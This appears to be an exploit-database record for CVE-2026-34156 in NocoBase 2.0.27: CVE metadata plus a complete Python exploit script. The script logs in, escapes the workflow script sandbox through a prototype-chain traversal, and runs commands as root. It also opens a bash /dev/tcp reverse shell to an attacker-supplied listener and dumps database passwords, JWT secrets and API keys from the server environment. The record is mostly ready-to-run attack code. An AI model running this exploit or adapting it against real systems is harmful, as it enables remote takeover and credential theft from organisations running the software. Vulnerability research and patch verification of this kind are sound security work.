{"exploit":{"id":"EDB-52552","name":"NocoBase 2.0.27 - Authenticated VM Sandbox Escape","description":"NocoBase 2.0.27 - Authenticated VM Sandbox Escape","cves":["CVE-2026-34156"],"author":"onurcangencbilkent","published":"2026-05-07","platform":"multiple","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52552","path":"exploits/multiple/local/52552.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52552.py","vulnerabilities":[{"id":"CVE-2026-34156","state":"PUBLISHED","title":"NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node","titleSource":"CVE Program","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34156","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34156"},"updatedAt":"2026-04-02T15:08:38.165Z","retrievedAt":"2026-11-25T16:15:50.437Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52552.png?v=2","url":"https://exploitbin.com/exploits/EDB-52552","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52552/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52552/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: NocoBase  2.0.27 - VM Sandbox Escape\n# Date: 2026-03-26\n# Exploit Author: Onurcan Genç\n# Vendor Homepage: https://www.nocobase.com/\n# Software Link: https://github.com/nocobase/nocobase\n# Version: <= 2.0.27 — patched in 2.0.28\n# Tested on: Debian GNU/Linux 12 (bookworm) / Docker / Node.js v20.20.1\n# CVE: CVE-2026-34156\n# Advisory: https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c\n# CWE: CWE-913\n# CVSS: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n#\n# Description:\n#   NocoBase's Workflow Script Node executes user-supplied JavaScript inside\n#   a Node.js vm sandbox with a custom require allowlist. However, the console\n#   object passed into the sandbox exposes host-realm WritableWorkerStdio\n#   stream objects (console._stdout / console._stderr). By traversing the\n#   prototype chain (.constructor.constructor), an attacker obtains the host\n#   realm's Function constructor, accesses the process object, and uses\n#   process.mainModule.require to load child_process — bypassing the sandbox\n#   and achieving Remote Code Execution as root.\n#\n# Exploitation chain:\n#   console._stdout.constructor.constructor   → host-realm Function\n#   Function('return process')()              → Node.js process object\n#   process.mainModule.require('child_process') → unrestricted module\n#   child_process.execSync('id')              → RCE as root\n#\n# Usage:\n#   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --cmd \"id\"\n#   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> --dump\n#   python3 exploit.py -t <TARGET> -u <USER> -P <PASS> -l <LHOST> -p <LPORT>\n#\n# Notes:\n#   - Requires valid credentials (any user with workflow access)\n#   - Vulnerability check runs automatically before exploitation\n#   - Default reverse shell uses bash /dev/tcp (Debian-based containers)\n#   - Start listener before running: nc -lvnp 4444\n\nimport argparse\nimport json\nimport requests\nimport sys\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# ─── Colors ───────────────────────────────────────────────────────────────────\n\nclass C:\n    RED     = \"\\033[91m\"\n    GREEN   = \"\\033[92m\"\n    YELLOW  = \"\\033[93m\"\n    BLUE    = \"\\033[94m\"\n    MAGENTA = \"\\033[95m\"\n    CYAN    = \"\\033[96m\"\n    WHITE   = \"\\033[97m\"\n    BOLD    = \"\\033[1m\"\n    DIM     = \"\\033[2m\"\n    RESET   = \"\\033[0m\"\n\ndef info(msg):    print(f\"  {C.BLUE}[*]{C.RESET} {msg}\")\ndef good(msg):    print(f\"  {C.GREEN}[+]{C.RESET} {msg}\")\ndef warn(msg):    print(f\"  {C.YELLOW}[!]{C.RESET} {msg}\")\ndef fail(msg):    print(f\"  {C.RED}[-]{C.RESET} {msg}\")\ndef result(msg):  print(f\"  {C.CYAN}[→]{C.RESET} {msg}\")\n\nBANNER = f\"\"\"\n{C.RED}{C.BOLD}╔══════════════════════════════════════════════════════════════════╗\n║  NocoBase Workflow Script Node — VM Sandbox Escape to RCE      ║\n║  CVE: [CVE-2026-34156]  |  CVSS: 9.9 Critical                        ║\n║  Author: Onurcan Genç                                          ║\n╚══════════════════════════════════════════════════════════════════╝{C.RESET}\n\"\"\"\n\nESCAPE_CHAIN = (\n    \"const Fn=console._stdout.constructor.constructor;\"\n    \"const proc=Fn('return process')();\"\n    \"const cp=proc.mainModule.require('child_process');\"\n)\n\n\n# ─── Core Functions ───────────────────────────────────────────────────────────\n\ndef authenticate(target: str, username: str, password: str, verify_ssl: bool = False) -> str:\n    url = f\"{target.rstrip('/')}/api/auth:signIn\"\n    body = {\"account\": username, \"password\": password}\n\n    print()\n    info(f\"Authenticating as {C.BOLD}{username}{C.RESET}...\")\n\n    try:\n        resp = requests.post(url, headers={\"Content-Type\": \"application/json\"},\n                             json=body, timeout=10, verify=verify_ssl)\n        data = resp.json()\n    except requests.exceptions.ConnectionError:\n        fail(f\"Connection failed: cannot reach {C.YELLOW}{url}{C.RESET}\")\n        sys.exit(1)\n    except json.JSONDecodeError:\n        fail(f\"Invalid response from server\")\n        sys.exit(1)\n\n    if \"errors\" in data:\n        msg = data[\"errors\"][0].get(\"message\", \"Unknown error\")\n        fail(f\"Authentication failed: {C.RED}{msg}{C.RESET}\")\n        sys.exit(1)\n\n    token = data.get(\"data\", {}).get(\"token\")\n    if not token:\n        fail(\"No token in response\")\n        sys.exit(1)\n\n    nickname = data.get(\"data\", {}).get(\"user\", {}).get(\"nickname\", \"unknown\")\n    user_id = data.get(\"data\", {}).get(\"user\", {}).get(\"id\", \"?\")\n    good(f\"Authenticated! User: {C.GREEN}{C.BOLD}{nickname}{C.RESET} (ID: {user_id})\")\n    good(f\"Token: {C.DIM}{token[:25]}...{token[-10:]}{C.RESET}\")\n    return token\n\n\ndef send_payload(target: str, token: str, payload: str, verify_ssl: bool = False) -> dict:\n    url = f\"{target.rstrip('/')}/api/flow_nodes:test\"\n    headers = {\n        \"Authorization\": f\"Bearer {token}\",\n        \"Content-Type\": \"application/json\"\n    }\n    body = {\n        \"type\": \"script\",\n        \"config\": {\"content\": payload, \"timeout\": 5000, \"arguments\": []}\n    }\n\n    try:\n        resp = requests.post(url, headers=headers, json=body, timeout=10, verify=verify_ssl)\n        return resp.json()\n    except requests.exceptions.Timeout:\n        return {\"data\": {\"status\": 1, \"result\": \"timeout (expected for reverse shell)\"}}\n    except requests.exceptions.ConnectionError as e:\n        return {\"error\": f\"Connection failed: {e}\"}\n    except json.JSONDecodeError:\n        return {\"error\": \"Invalid JSON response\", \"raw\": resp.text[:500]}\n\n\ndef verify_vulnerability(target: str, token: str) -> bool:\n    print()\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n    info(f\"{C.BOLD}Phase 1: Vulnerability Check{C.RESET}\")\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n\n    check_payload = (\n        \"try {\"\n        \"  const name = console._stdout.constructor.name;\"\n        \"  const fnType = typeof console._stdout.constructor.constructor;\"\n        \"  return JSON.stringify({stream: name, fnConstructor: fnType});\"\n        \"} catch(e) { return 'ERR: ' + e.message; }\"\n    )\n    result_data = send_payload(target, token, check_payload)\n\n    if \"error\" in result_data:\n        fail(f\"Connection error: {result_data['error']}\")\n        return False\n\n    data = result_data.get(\"data\", {})\n\n    if data.get(\"status\") != 1:\n        if \"INVALID_TOKEN\" in str(data) or \"EMPTY_TOKEN\" in str(data):\n            fail(\"Authentication token is invalid or expired\")\n        else:\n            fail(f\"Unexpected response: {data}\")\n        return False\n\n    try:\n        check = json.loads(data.get(\"result\", \"{}\"))\n        stream = check.get(\"stream\", \"\")\n        fn_type = check.get(\"fnConstructor\", \"\")\n\n        if stream == \"WritableWorkerStdio\" and fn_type == \"function\":\n            good(f\"Host-realm stream object: {C.GREEN}{C.BOLD}{stream}{C.RESET}\")\n            good(f\"Function constructor:     {C.GREEN}{C.BOLD}accessible{C.RESET}\")\n            print()\n            good(f\"{C.GREEN}{C.BOLD}TARGET IS VULNERABLE!{C.RESET}\")\n            return True\n        else:\n            fail(f\"Unexpected sandbox state: stream={stream}, fn={fn_type}\")\n            return False\n    except (json.JSONDecodeError, TypeError):\n        res = data.get(\"result\", \"\")\n        fail(f\"Check failed: {res}\")\n        return False\n\n\n# ─── Exploit Modes ────────────────────────────────────────────────────────────\n\ndef exploit_cmd(target: str, token: str, cmd: str):\n    print()\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n    info(f\"{C.BOLD}Phase 2: Command Execution{C.RESET}\")\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n\n    info(f\"Executing: {C.YELLOW}{cmd}{C.RESET}\")\n\n    safe_cmd = cmd.replace(\"\\\\\", \"\\\\\\\\\").replace(\"'\", \"\\\\'\").replace('\"', '\\\\\"')\n    payload = f'{ESCAPE_CHAIN}return cp.execSync(\"{safe_cmd}\").toString().trim();'\n    resp = send_payload(target, token, payload)\n\n    data = resp.get(\"data\", {})\n    if data.get(\"status\") == 1:\n        output = data.get(\"result\", \"\")\n        print()\n        good(f\"Output:\")\n        print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n        for line in output.split(\"\\n\"):\n            print(f\"  {C.WHITE}{line}{C.RESET}\")\n        print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n    else:\n        fail(f\"Execution failed: {data}\")\n\n\ndef exploit_revshell(target: str, token: str, lhost: str, lport: int):\n    print()\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n    info(f\"{C.BOLD}Phase 2: Reverse Shell{C.RESET}\")\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n\n    info(f\"Target:   {C.YELLOW}{target}{C.RESET}\")\n    info(f\"Callback: {C.GREEN}{C.BOLD}{lhost}:{lport}{C.RESET}\")\n    warn(f\"Ensure listener is running: {C.BOLD}nc -lvnp {lport}{C.RESET}\")\n    print()\n\n    shell_cmd = f'bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"'\n    payload = f\"{ESCAPE_CHAIN}cp.exec('{shell_cmd}');return 'shell spawned';\"\n    resp = send_payload(target, token, payload)\n\n    data = resp.get(\"data\", {})\n    res = data.get(\"result\", \"\")\n\n    if \"shell spawned\" in str(res) or \"timeout\" in str(res):\n        good(f\"{C.GREEN}{C.BOLD}Payload delivered! Check your listener.{C.RESET}\")\n    else:\n        fail(f\"Unexpected response: {data}\")\n\n\ndef exploit_dump(target: str, token: str):\n    print()\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n    info(f\"{C.BOLD}Phase 2: System & Credential Dump{C.RESET}\")\n    print(f\"  {C.MAGENTA}{'─' * 55}{C.RESET}\")\n\n    # System info via shell commands\n    commands = [\n        (\"User\",        \"id\"),\n        (\"Hostname\",    \"hostname\"),\n        (\"OS\",          \"cat /etc/os-release | grep PRETTY_NAME | cut -d= -f2\"),\n        (\"Kernel\",      \"uname -r\"),\n        (\"Node.js\",     \"node --version\"),\n        (\"Working Dir\", \"pwd\"),\n    ]\n\n    print()\n    info(f\"{C.BOLD}System Information{C.RESET}\")\n    print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n\n    for label, cmd in commands:\n        safe_cmd = cmd.replace('\"', '\\\\\"')\n        payload = f'{ESCAPE_CHAIN}return cp.execSync(\"{safe_cmd}\").toString().trim();'\n        resp = send_payload(target, token, payload)\n        data = resp.get(\"data\", {})\n        if data.get(\"status\") == 1:\n            out = data.get(\"result\", \"N/A\").replace('\"', '')\n            print(f\"  {C.WHITE}{label:.<22}{C.RESET} {C.GREEN}{out}{C.RESET}\")\n\n    print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n\n    # Credentials via JavaScript\n    print()\n    info(f\"{C.BOLD}Environment Credentials{C.RESET}\")\n    print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n\n    secrets_payload = (\n        f\"{ESCAPE_CHAIN}\"\n        \"const env = proc.env;\"\n        \"const keys = ['DB_HOST','DB_PORT','DB_DATABASE','DB_USER','DB_PASSWORD',\"\n        \"'DB_DIALECT','INIT_ROOT_USERNAME','INIT_ROOT_PASSWORD','INIT_ROOT_NICKNAME',\"\n        \"'INIT_ROOT_EMAIL','APP_KEY','API_KEY','JWT_SECRET','SECRET_KEY'];\"\n        \"const out = {}; keys.forEach(k => { if(env[k]) out[k] = env[k]; });\"\n        \"return JSON.stringify(out);\"\n    )\n    resp = send_payload(target, token, secrets_payload)\n    data = resp.get(\"data\", {})\n\n    if data.get(\"status\") == 1:\n        try:\n            creds = json.loads(data.get(\"result\", \"{}\"))\n            for k, v in creds.items():\n                color = C.RED if \"PASS\" in k or \"SECRET\" in k or \"KEY\" in k else C.YELLOW\n                print(f\"  {C.WHITE}{k:.<30}{C.RESET} {color}{C.BOLD}{v}{C.RESET}\")\n        except json.JSONDecodeError:\n            result(f\"Raw: {data.get('result')}\")\n\n    print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n\n    # All env vars with sensitive patterns\n    print()\n    info(f\"{C.BOLD}Additional Secrets (pattern match){C.RESET}\")\n    print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n\n    extra_payload = (\n        f\"{ESCAPE_CHAIN}\"\n        \"const env = proc.env;\"\n        \"const out = {};\"\n        \"for (const k of Object.keys(env)) {\"\n        \"  if (/secret|key|token|pass|auth|jwt|api_key|private/i.test(k) && \"\n        \"      !k.startsWith('npm_')) out[k] = env[k];\"\n        \"}\"\n        \"return JSON.stringify(out);\"\n    )\n    resp = send_payload(target, token, extra_payload)\n    data = resp.get(\"data\", {})\n\n    if data.get(\"status\") == 1:\n        try:\n            extras = json.loads(data.get(\"result\", \"{}\"))\n            if extras:\n                for k, v in extras.items():\n                    print(f\"  {C.WHITE}{k:.<30}{C.RESET} {C.RED}{C.BOLD}{v}{C.RESET}\")\n            else:\n                info(\"No additional secrets found\")\n        except json.JSONDecodeError:\n            pass\n\n    print(f\"  {C.CYAN}{'─' * 55}{C.RESET}\")\n\n\n# ─── Main ─────────────────────────────────────────────────────────────────────\n\ndef main():\n    print(BANNER)\n\n    parser = argparse.ArgumentParser(\n        description=\"NocoBase Workflow Script Node — VM Sandbox Escape to RCE\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=f\"\"\"\n{C.BOLD}Examples:{C.RESET}\n  {C.CYAN}Command:{C.RESET}       %(prog)s -t http://target:13000 -u nocobase -P admin123 --cmd \"id\"\n  {C.CYAN}Dump:{C.RESET}          %(prog)s -t http://target:13000 -u nocobase -P admin123 --dump\n  {C.CYAN}Reverse Shell:{C.RESET} %(prog)s -t http://target:13000 -u nocobase -P admin123 -l 10.10.14.5 -p 4444\n        \"\"\"\n    )\n    parser.add_argument(\"-t\", \"--target\", required=True,\n                        help=\"Target NocoBase URL (e.g., http://target:13000)\")\n    parser.add_argument(\"-u\", \"--username\", required=True,\n                        help=\"NocoBase username\")\n    parser.add_argument(\"-P\", \"--password\", required=True,\n                        help=\"NocoBase password\")\n    parser.add_argument(\"-l\", \"--lhost\", default=None,\n                        help=\"Listener IP for reverse shell\")\n    parser.add_argument(\"-p\", \"--lport\", type=int, default=4444,\n                        help=\"Listener port (default: 4444)\")\n    parser.add_argument(\"--cmd\", default=None,\n                        help=\"Execute a single command\")\n    parser.add_argument(\"--dump\", action=\"store_true\",\n                        help=\"Dump system info and credentials\")\n    parser.add_argument(\"--no-verify\", action=\"store_true\",\n                        help=\"Skip vulnerability verification\")\n\n    args = parser.parse_args()\n\n    if not args.cmd and not args.lhost and not args.dump:\n        fail(f\"Specify {C.BOLD}--cmd{C.RESET} (command), {C.BOLD}--dump{C.RESET} (info), or {C.BOLD}-l LHOST{C.RESET} (revshell)\")\n        sys.exit(1)\n\n    # Phase 0: Authenticate\n    token = authenticate(args.target, args.username, args.password)\n\n    # Phase 1: Vulnerability check (always runs unless --no-verify)\n    if not args.no_verify:\n        if not verify_vulnerability(args.target, token):\n            fail(f\"{C.RED}{C.BOLD}TARGET IS NOT VULNERABLE.{C.RESET} Exiting.\")\n            sys.exit(1)\n\n    # Phase 2: Exploit\n    if args.dump:\n        exploit_dump(args.target, token)\n    elif args.cmd:\n        exploit_cmd(args.target, token, args.cmd)\n    else:\n        exploit_revshell(args.target, token, args.lhost, args.lport)\n\n    print()\n    print(f\"  {C.GREEN}{C.BOLD}Done.{C.RESET}\")\n    print()\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"a3d6d7ebbab8bb15389130b1f1195a41458cc5c64fa8eea513f302363a0a1d1b","bytes":15731,"fetchedAt":"2026-11-26T11:05:19.031Z","encoding":"utf-8 (display only; download retains original bytes)"}